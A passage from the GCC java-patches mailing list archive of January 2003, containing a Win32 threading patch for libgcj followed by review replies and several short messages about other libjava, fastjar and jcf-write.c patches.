0UL; > + LeaveCriticalSection (&(mu->cs)); > + return 0; > + } > + else > + return 1; > } > > inline int _Jv_MutexLock (_Jv_Mutex_t *mu) > { > - EnterCriticalSection(mu); > + EnterCriticalSection (&(mu->cs)); > + mu->owner = GetCurrentThreadId ( ); > return 0; > } > @@ -105,7 +131,5 @@ > inline void _Jv_ThreadYield (void) > { > - // FIXME: win98 freezes hard (OS hang) when we use this -- > - // for now, we simply don't yield > - // Sleep (0); > + Sleep (0); > } > > --- win32-threads.cc 2003-01-14 20:23:53.000000000 +0530 > +++ win32-threads.cc 2003-01-27 20:51:24.000000000 +0530 > @@ -1,5 +1,6 @@ > // win32-threads.cc - interface between libjava and Win32 threads. > > -/* Copyright (C) 1998, 1999 Free Software Foundation, Inc. > +/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software > + Foundation, Inc. > > This file is part of libgcj. > @@ -71,10 +72,12 @@ > ensure_condvar_initialized(_Jv_ConditionVariable_t *cv) > { > - if (cv->ev[0] == 0) { > - cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); > - if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); > - cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); > - if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); > - } > + if (cv->ev[0] == 0) > + { > + cv->ev[0] = CreateEvent (NULL, 0, 0, NULL); > + if (cv->ev[0] == 0) JvFail("CreateEvent() failed"); > + > + cv->ev[1] = CreateEvent (NULL, 1, 0, NULL); > + if (cv->ev[1] == 0) JvFail("CreateEvent() failed"); > + } > } > > @@ -86,9 +89,11 @@ > _Jv_CondWait(_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu, jlong millis, jint nanos) > { > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > cv->blocked_count++; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > > DWORD time; > @@ -103,16 +108,15 @@ > EnterCriticalSection(&cv->count_mutex); > cv->blocked_count--; > - // If we were unblocked by the second event (the broadcast one) and nobody is > - // left, then reset the signal. > - int last_waiter = rval == WAIT_OBJECT_0 + 1 && cv->blocked_count == 0; > + // If we were unblocked by the second event (the broadcast one) > + // and nobody is left, then reset the event. > + int last_waiter = (rval == (WAIT_OBJECT_0 + 1)) && (cv->blocked_count == 0); > LeaveCriticalSection(&cv->count_mutex); > > - if (last_waiter) ResetEvent(&cv->ev[1]); > + if (last_waiter) > + ResetEvent (cv->ev[1]); > > _Jv_MutexLock (mu); > > - if (rval == WAIT_FAILED) return GetLastError(); > - else if (rval == WAIT_TIMEOUT) return ETIMEDOUT; > - else return 0; > + return 0; > } > > @@ -122,5 +126,5 @@ > // we do lazy creation of Events since CreateEvent() is insanely expensive > cv->ev[0] = 0; > - InitializeCriticalSection(&cv->count_mutex); > + InitializeCriticalSection (&cv->count_mutex); > cv->blocked_count = 0; > } > @@ -129,30 +133,49 @@ > _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) > { > - if (cv->ev[0] != 0) CloseHandle(cv->ev[0]); > + if (cv->ev[0] != 0) > + { > + CloseHandle (cv->ev[0]); > + CloseHandle (cv->ev[1]); > + > + cv->ev[0] = 0; > + } > + > + DeleteCriticalSection (&cv->count_mutex); > + > cv = NULL; > } > > int > -_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) > +_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) > { > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > + > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > int somebody_is_blocked = cv->blocked_count > 0; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > + > + if (somebody_is_blocked) > + SetEvent (cv->ev[0]); > > - if (somebody_is_blocked) return SetEvent (cv->ev[0]) ? 0 : GetLastError(); > - else return 0; > + return 0; > } > > int > -_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) > +_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) > { > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > + > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > int somebody_is_blocked = cv->blocked_count > 0; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > > - if (somebody_is_blocked) return SetEvent (cv->ev[1]) ? 0 : GetLastError(); > - else return 0; > + if (somebody_is_blocked) > + SetEvent (cv->ev[1]); > + > + return 0; > } > > @@ -166,6 +189,6 @@ > _Jv_ThreadKey = TlsAlloc(); > _Jv_ThreadDataKey = TlsAlloc(); > - daemon_mutex = CreateMutex(NULL, 0, NULL); > - daemon_cond = CreateEvent(NULL, 0, 0, NULL); > + daemon_mutex = CreateMutex (NULL, 0, NULL); > + daemon_cond = CreateEvent (NULL, 1, 0, NULL); > non_daemon_count = 0; > } > @@ -256,5 +279,5 @@ > non_daemon_count--; > if (! non_daemon_count) > - PulseEvent (daemon_cond); > + SetEvent (daemon_cond); > ReleaseMutex (daemon_mutex); > } > @@ -298,8 +321,10 @@ > _Jv_ThreadWait (void) > { > - WaitForSingleObject(daemon_mutex, INFINITE); > - if(non_daemon_count) > - SignalObjectAndWait(daemon_mutex, daemon_cond, INFINITE, 0); > - ReleaseMutex(daemon_mutex); > + WaitForSingleObject (daemon_mutex, INFINITE); > + if (non_daemon_count) > + { > + ReleaseMutex (daemon_mutex); > + WaitForSingleObject (daemon_cond, INFINITE); > + } > } > > -------------------------------- 8< -------------------------------- > > Sincerely Yours, > Ranjit. > > -- > Ranjit Mathew Email: rmathew AT hotmail DOT com > Bangalore, > INDIA. Web: http://ranjitmathew.tripod.com/ > > > -- From java-patches-return-5949-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 22:22:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12037 invoked by alias); 28 Jan 2003 22:22:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12030 invoked from network); 28 Jan 2003 22:22:37 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 22:22:37 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA28673; Tue, 28 Jan 2003 15:22:35 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5DB424F8080; Tue, 28 Jan 2003 15:17:15 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: "DARK SHADOWS" is on!! Hey, I think the VAMPIRE forgot his UMBRELLA!! Date: 28 Jan 2003 15:17:15 -0700 In-Reply-To: Message-ID: <87of60vs0k.fsf@fleche.redhat.com> Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> Sorry! (And Tom would also chide me for not including a "Fixes Ranjit> PR java/9254" in the ChangeLog - Sorry again!) This particular patch didn't apply cleanly. I don't know why, but in the end I had to do some hand editing, which is a pain. I double checked my work, but the potential for error still remains. Could you check too? Let me wax pedantic for a few moments. In a ChangeLog entry, before each line is a tab, not some number of spaces. That's pretty pedantic, I know, but I always notice it instantly due to Emacs font-lock. I've been making this change before checking in your changes, but hopefully it wouldn't be hard for you to change this before submitting. Finally, the particular format you've been using to submit patches is one of the most difficult ones for me to deal with. I have to edit your message before I can apply the patch. I'd find it *much* more convenient if the ChangeLog entry run through `clcleanup' first, or even if it were just part of the patch. As it is, if I use my mailer's key binding to directly apply your patch, I wind up with the whole patch in the ChangeLog (as we saw with a fastjar patch last week, bleah). Ranjit> Submitting this (yet) again after incorporating Hans's feedback: Adam said this was ok. I also read through it and it seems reasonable. So I'm putting it in 3.3 and the Tom From java-patches-return-5950-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 22:25:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12908 invoked by alias); 28 Jan 2003 22:25:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12897 invoked from network); 28 Jan 2003 22:25:17 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 22:25:17 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA29261; Tue, 28 Jan 2003 15:25:15 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4964D4F8080; Tue, 28 Jan 2003 15:19:56 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Review: Add regex functions checks to fastjar/configure.in References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. here I am in 53 B.C. and all I want is a dill pickle!! Date: 28 Jan 2003 15:19:56 -0700 In-Reply-To: Message-ID: <87k7govrw3.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> 2003-01-26 Ranjit Mathew Ranjit> * jargrep.c: Include xregex.h from libiberty instead of Ranjit> system regex.h for better portability. Looks good. I'm putting this on the trunk and the 3.3 branch. Tom From java-patches-return-5951-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:04:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11067 invoked by alias); 28 Jan 2003 23:04:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11025 invoked from network); 28 Jan 2003 23:04:51 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 28 Jan 2003 23:04:51 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18delQ-0003WV-00; Tue, 28 Jan 2003 18:03:32 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0SN2Sg16646; Tue, 28 Jan 2003 18:02:29 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0SN2LMq018764; Tue, 28 Jan 2003 21:02:21 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0SN2JTn018760; Tue, 28 Jan 2003 21:02:19 -0200 To: tromey@redhat.com Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> <87ptqiyww3.fsf@fleche.redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 28 Jan 2003 21:02:18 -0200 In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jan 27, 2003, Alexandre Oliva wrote: > I'm checking the following patches in 3.2, 3.3 and mainline, > respectively. They're only different as far as line numbers go, > except for libiberty in 3.2, that required tweaking since it's not > DESTDIRified there. Jakub Jelinek pointed out I had failed to check in the updated libffi/Makefile.in and libffi/configure in 3.2 and mainline, so I just did it. Sorry about that. -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer From java-patches-return-5952-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:08:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14088 invoked by alias); 28 Jan 2003 23:08:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14074 invoked from network); 28 Jan 2003 23:08:52 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by 172.16.49.205 with SMTP; 28 Jan 2003 23:08:52 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id PAA00202 for ; Tue, 28 Jan 2003 15:08:51 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h0SMluS01930; Tue, 28 Jan 2003 14:47:56 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 28 Jan 2003 14:47:55 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 28 Jan 2003 14:47:55 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA1362B@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Adam Megacz'" , Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: RE: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Tue, 28 Jan 2003 14:47:53 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" It looks fine to me, too. If someone wants to further tune this, it looks to me like the EnterCriticalSection and LeaveCriticalSection calls could be avoided for nested lock acquisitions, as they are in the Posix case. It seems that the fact that EnterCriticalSection is already reentrant doesn't really buy you anything, and you'd be better off pretending it weren't. Probably Adam's suggestion to migrate more of this into the platform-independent code is right. Hans > -----Original Message----- > From: Adam Megacz [mailto:gcj@lists.megacz.com] > Sent: Tuesday, January 28, 2003 12:11 PM > To: Ranjit Mathew > Cc: java-patches@gcc.gnu.org > Subject: Re: Patch for Review: PR/9254 and other Win32 Threading Fixes > > > > Looks good to me. > > - a > > From java-patches-return-5953-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:20:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19103 invoked by alias); 28 Jan 2003 23:20:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19096 invoked from network); 28 Jan 2003 23:20:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 23:20:15 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA07484; Tue, 28 Jan 2003 16:20:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BBC4A4F8099; Tue, 28 Jan 2003 16:14:34 -0700 (MST) To: Jeff Sturm Cc: Mark Wielaard , Subject: Re: URLClassLoader update References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My pants just went to high school in the Carlsbad Caverns!!! Date: 28 Jan 2003 16:14:31 -0700 In-Reply-To: Message-ID: <87k7gouaso.fsf@fleche.redhat.com> Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: [ TestEarlyGC ] Tom> I looked a little today and I now agree with you that the source to Tom> the bytecode would be useful. I haven't searched for it yet. Jeff> Oops-- my fault. I posted that test long ago and since lost the Jeff> source. I'm finally checking in your explanation. I'm putting it on the trunk. Tom Index: ChangeLog from Tom Tromey * libjava.loader/TestEarlyGC.java: Added comment explaining bytecode. Index: libjava.loader/TestEarlyGC.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.loader/TestEarlyGC.java,v retrieving revision 1.1 diff -u -r1.1 TestEarlyGC.java --- libjava.loader/TestEarlyGC.java 4 Nov 2002 04:17:38 -0000 1.1 +++ libjava.loader/TestEarlyGC.java 28 Jan 2003 23:19:21 -0000 @@ -2,6 +2,18 @@ static TestEarlyGC[] a = new TestEarlyGC[10]; + // Jeff Sturm writes: + // Reconstructed from bytecode (and memory). The singleton pattern + // is used as a class finalizer. + // public class C { + // private static C c; + // public C() { + // c = this; + // } + // protected void finalize() { + // System.out.println("finalized"); + // } + // } byte[] code = { -54,-2,-70,-66,0,3,0,45,0,32,1,0,1,67,7,0, 1,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98, From java-patches-return-5954-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:23:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20728 invoked by alias); 28 Jan 2003 23:23:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20721 invoked from network); 28 Jan 2003 23:23:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 23:23:39 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA08595; Tue, 28 Jan 2003 16:23:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id DB29D4F8099; Tue, 28 Jan 2003 16:18:03 -0700 (MST) To: Andreas Tobler Cc: java-patches Subject: Re: darwin: can_unwind_signal = no References: <3E2EE1B2.3090204@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Well, O.K. I'll compromise with my principles because of EXISTENTIAL DESPAIR! Date: 28 Jan 2003 16:18:03 -0700 In-Reply-To: <3E2EE1B2.3090204@pop.agri.ch> Message-ID: <87el6wuams.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> I'd like to see this patchlet in both, 3.3 and trunk if Andreas> possible. It disables can_unwind_signal since darwin lacks Andreas> the MD_FALLBACK_FRAME_STATE_FOR macro. It has taken a while for Andreas' account to be activated, so I'm just checking this in now. Tom From java-patches-return-5955-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:29:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24652 invoked by alias); 28 Jan 2003 23:29:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24637 invoked from network); 28 Jan 2003 23:29:33 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 23:29:33 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA10403; Tue, 28 Jan 2003 16:29:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 9A77A4F8080; Tue, 28 Jan 2003 16:23:54 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: This ASEXUAL PIG really BOILS my BLOOD... He's so..so.....URGENT!! Date: 28 Jan 2003 16:23:54 -0700 In-Reply-To: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> Message-ID: <87adhkuad1.fsf@fleche.redhat.com> Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> I came accross a comment that said "FIXME: do caching", so I Scott> did. Just FYI: sometimes I'll put a FIXME in the source just as a placeholder. It doesn't necessarily indicate an idea worthy of implementation. In this case, I couldn't say; I didn't write it. But my inclination would be to say that since you are currently the person most interested in this code, you can make these determinations. Scott> I see a couple of possible problems with this patch, though: [ ... ] Maybe caching here is premature? Or maybe the cache could check visual.getScreen().getDisplay() somehow? A per-display cache would make sense. Scott> 2. if you use many different fonts, the cache will just keep Scott> growing My guess is that #1 is a valid assumption. Regarding Scott> #2, I considered using weak references, but that would risk Scott> having fonts taken out of the cache immediately before they're Scott> needed again, so I decided against it. You could use soft references, which in theory are collected only in low-memory situations. Scott> I also noticed a large speed improvement when painting a lot of Scott> text fields. Sounds good. Do you want to try to fix the display-based caching thing first, or would you prefer the patch to go in as-is? Tom From java-patches-return-5956-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:31:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26546 invoked by alias); 28 Jan 2003 23:31:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26524 invoked from network); 28 Jan 2003 23:31:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 23:31:10 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA10875; Tue, 28 Jan 2003 16:31:08 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1A97F4F8080; Tue, 28 Jan 2003 16:25:32 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache References: <00d601c2be3f$45f5a9e0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'll eat ANYTHING that's BRIGHT BLUE!! Date: 28 Jan 2003 16:25:31 -0700 In-Reply-To: <00d601c2be3f$45f5a9e0$3c16a8c0@mantatest.com> Message-ID: <8765s8uaac.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> How about an LRU ("least recently used") buffer scheme We do something like that in the I/O character encoding conversion code. Scott> - each font cache entry gets a timestamp whenever it's used Scott> - keep track of the oldest such timestamp Scott> - each time a font is requested, if the oldest timestamp among the other Scott> fonts is over some value (1 minute maybe), kill that entry You could also just pick some number of fonts, like 10, and only cache that many. Up to you. Tom From java-patches-return-5957-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 23:39:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30809 invoked by alias); 28 Jan 2003 23:39:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30799 invoked from network); 28 Jan 2003 23:39:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 23:39:25 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA13125; Tue, 28 Jan 2003 16:39:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id AFEAE4F8080; Tue, 28 Jan 2003 16:33:43 -0700 (MST) To: "Scott Gilbertson" Cc: , "Oscar Pearce" Subject: Re: PATCH: dispose Graphics after each paint, to recover resources (particularly memory) References: <00a201c2bda1$78544c50$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: TATTOOED MIDGETS are using ALFREDO in their SALAMI FACTORY! Date: 28 Jan 2003 16:33:43 -0700 In-Reply-To: <00a201c2bda1$78544c50$3c16a8c0@mantatest.com> Message-ID: <871y2wu9wo.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> Oscar Pearce posted this code on the java mailing list. I Scott> built it and tested it with my application. Before the patch, Scott> my application would crash with a kernel "out of memory" error. Scott> Now it doesn't. Thanks. I'm checking this in to Classpath, 3.3, and the trunk. Tom From java-patches-return-5958-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 01:19:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4829 invoked by alias); 29 Jan 2003 01:19:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4817 invoked from network); 29 Jan 2003 01:19:13 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 01:19:13 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA03452; Tue, 28 Jan 2003 18:19:11 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BC4874F8080; Tue, 28 Jan 2003 18:12:56 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: FYI: typos in jcf-write.c From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Can you MAIL a BEAN CAKE? Date: 28 Jan 2003 18:12:56 -0700 Message-ID: <87of60sqqv.fsf@fleche.redhat.com> Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. This fixes a couple typos in jcf-write.c. Tom Index: ChangeLog from Tom Tromey * jcf-write.c (generate_bytecode_conditional): Typo fixes. Index: jcf-write.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-write.c,v retrieving revision 1.119 diff -u -r1.119 jcf-write.c --- jcf-write.c 18 Jan 2003 22:15:51 -0000 1.119 +++ jcf-write.c 29 Jan 2003 01:18:50 -0000 @@ -1226,7 +1226,7 @@ OP1 (OPCODE_lcmp); goto compare_1; } - /* FALLTHOUGH */ + /* FALLTHROUGH */ default: if (integer_zerop (exp1)) { @@ -2026,7 +2026,7 @@ emit_dup (TYPE_IS_WIDE (type) ? 2 : 1 , offset, state); exp = lhs; } - /* FALLTHOUGH */ + /* FALLTHROUGH */ finish_assignment: if (TREE_CODE (exp) == COMPONENT_REF) From java-patches-return-5959-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 03:04:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2004 invoked by alias); 29 Jan 2003 03:04:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1992 invoked from network); 29 Jan 2003 03:04:50 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 03:04:50 -0000 Received: from fleche.redhat.com (tz0183.peakpeak.com [207.174.69.183]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA23984; Tue, 